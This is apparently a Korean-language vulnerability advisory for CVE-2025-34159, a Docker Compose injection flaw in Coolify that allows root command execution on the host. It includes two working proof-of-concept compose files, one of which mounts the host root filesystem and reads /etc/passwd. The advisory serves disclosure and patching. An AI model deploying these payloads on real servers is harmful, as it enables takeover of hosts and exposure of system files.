
Coolify의 애플리케이션 배포 워크플로우에 심각한 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 낮은 권한의 구성원이 프로젝트 생성 또는 업데이트 중에 임의의 Docker Compose 지시문을 주입할 수 있습니다. 호스트 파일 시스템을 마운트하는 악성 서비스를 정의함으로써 공격자는 루트 수준의 명령 실행을 달성할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-34159 |
| 영향 범위 | Coolify ≤ v4.0.0-beta.420.6 |
| 수정 버전 | v4.0.0-beta.420.7 |
| 심각도 | 치명적 |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78 (OS 명령 주입), CWE-20 (부적절한 입력 검증) |
Coolify의 애플리케이션 배포 워크플로우에 치명적인 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 낮은 권한의 멤버가 프로젝트 생성 또는 업데이트 중에 임의의 Docker Compose 지시문을 주입할 수 있습니다. 호스트 파일시스템을 마운트하는 악성 서비스를 정의함으로써, 공격자는 컨테이너 격리를 완전히 우회하여 호스트 OS에서 루트 권한 명령 실행을 달성할 수 있습니다.
이 취약점은 사용자가 제공한 Docker Compose 구성이 충분한 검증이나 샌드박싱 없이 처리되는 프로젝트 배포 워크플로우에 존재합니다.
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
결과: 배포 후 /tmp/proof_rce.txt가 호스트 시스템에 나타나며, 루트 권한으로 RCE가 발생했음을 확인합니다.
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt)를 확인하거나 배포 로그의 명령 출력을 검토하여 악용 여부를 확인합니다